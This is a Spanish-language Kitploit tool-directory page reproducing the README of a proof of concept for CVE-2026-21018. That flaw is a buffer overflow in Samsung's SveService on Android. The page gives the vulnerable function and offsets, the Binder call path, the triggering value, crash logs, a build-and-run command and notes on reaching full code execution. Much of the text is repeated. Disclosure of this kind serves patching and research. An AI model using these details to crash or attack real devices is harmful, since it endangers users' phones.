Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-21018 — Un PoC mínimo para CVE-2026-21018, que demuestra cómo funciona. | Kitploit
Herramientas/GitHubGitHub/filipemendonca1978/cve-2026-21018
Seguridad AndroidAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónSeguridad MóvilAprendizaje y EducaciónExplotación de Binarios
GitHubfilipemendonca1978/cve-2026-21018

CVE-2026-21018

Un PoC mínimo para CVE-2026-21018, que demuestra cómo funciona.

Ver Repositorio
1hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Desbordamiento de búfer en SveService

[Portugués] [Inglés]


Samsung SMR May 2026

SVE-2026-0478(CVE-2026-21018)

Versiones afectadas: Android 14, 15, 16

Estado de divulgación: Divulgado de forma privada

Una escritura fuera de los límites en SveService anterior a SMR May-2026 Release 1 permite a atacantes locales privilegiados ejecutar código arbitrario.

El parche añade una validación de entrada adecuada.


Advertencia: esto es una Prueba de Concepto (PoC) solo con fines educativos; no soy responsable de cualquier cosa que hagas que no sea estudiar. Ya has sido advertido.

Esto fue probado en un Galaxy A17 LTE (SM-A175F)


Inglés

Resumen

Vulnerabilidad de desbordamiento de búfer en el servicio de sistema SveService (com.sec.sve) en dispositivos Samsung con Android 16. El servicio se ejecuta como system (UID 1000) y es accesible sin ningún permiso especial a través de Binder.

Componentes

ComponenteRolVersión
sveservice.apkServicio AndroidAPI 36
libsvejni.soBiblioteca nativa ARM64Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9

La vulnerabilidad

En sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), los parámetros i18, i19, i20 (recibidos de AIDL como i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) se pasan directamente a memset, sub sp, sp, xN (alloca) y memcpy sin validación de tamaño.

Funciones similares (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validan con cmp w20, #0x1e; b.gt (rechazan > 30 bytes). SetCodecInfo no valida nada.

Flujo de la llamada

root@kitploit:~
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

Valores con -1 (0xFFFFFFFF)

Evidencia del fallo (Tombstone 07)

root@kitploit:~
Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)

#00  __memset_aarch64+160       libc.so
#01  sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)

x2  00000000ffffffff   ← memset count = 4GB
x24 00000000ffffffff   ← i18 = -1
sp  000000707f5f7610   ← SP in invalid region
x29 000000717f5f7710   ← original frame pointer

PoC

root@kitploit:~
cd poc
./build_and_run.sh

Salida esperada:

root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

Notas

  • No se requiere root: ServiceManager.getService() mediante app_process funciona con UID shell.
  • Omisión de permisos: el permiso signatureOrSystem NO se aplica: el servicio se registra directamente mediante ServiceManager.addService(), omitiendo el mecanismo de permisos de Android.
  • Fallo inevitable: memset con 0xFFFFFFFF siempre falla. Una RCE requeriría una fuga de direcciones + ROP (PAC ausente en SM-A175F).

Portugués

Resumen

Vulnerabilidad de desbordamiento de búfer en el servicio de sistema SveService (com.sec.sve) en dispositivos Samsung con Android 16. El servicio se ejecuta como system (UID 1000) y es accesible sin ningún permiso especial a través de Binder.

Componentes

ComponenteRolVersión
sveservice.apkServicio AndroidAPI 36
libsvejni.soBiblioteca nativa ARM64Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9

La vulnerabilidad

En la función sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), los parámetros i18, i19, i20 (recibidos de AIDL como i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) se usan directamente como argumentos para memset, sub sp, sp, xN (alloca) y memcpy sin ninguna validación de tamaño.

Otras funciones similares (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validan con cmp w20, #0x1e; b.gt (rechazan > 30 bytes). SetCodecInfo no valida nada.

Flujo de la llamada

root@kitploit:~
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

Valores con -1 (0xFFFFFFFF)

PoC

root@kitploit:~
cd poc
./build_and_run.sh

Salida esperada:

root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

Observaciones

  • Sin root: ServiceManager.getService() mediante app_process funciona con UID shell.
  • Permiso: el permiso signatureOrSystem NO se aplica: el servicio se registra directamente mediante ServiceManager.addService(), omitiendo la verificación de permisos.
  • Fallo inevitable: memset con 0xFFFFFFFF siempre falla. Una RCE requeriría una fuga de direcciones + ROP (PAC ausente en SM-A175F).
Descargar herramienta
OperaciónValorEfecto
(i18 + 15) & ~150Asigna 0 bytes
memset(buf, 0, i18)0x00000000FFFFFFFFIntenta poner a cero 4 GB → SIGSEGV
sxtw(i18) para memcpy0xFFFFFFFFFFFFFFFFExtensión de signo de -1 → ~18 exabytes
OperaciónValorEfecto
(i18 + 15) & ~150Asigna 0 bytes
memset(buf, 0, i18)0x00000000FFFFFFFFIntenta poner a cero 4 GB → SIGSEGV
sxtw(i18) para memcpy0xFFFFFFFFFFFFFFFFExtensión de signo de -1 → ~18 exabytes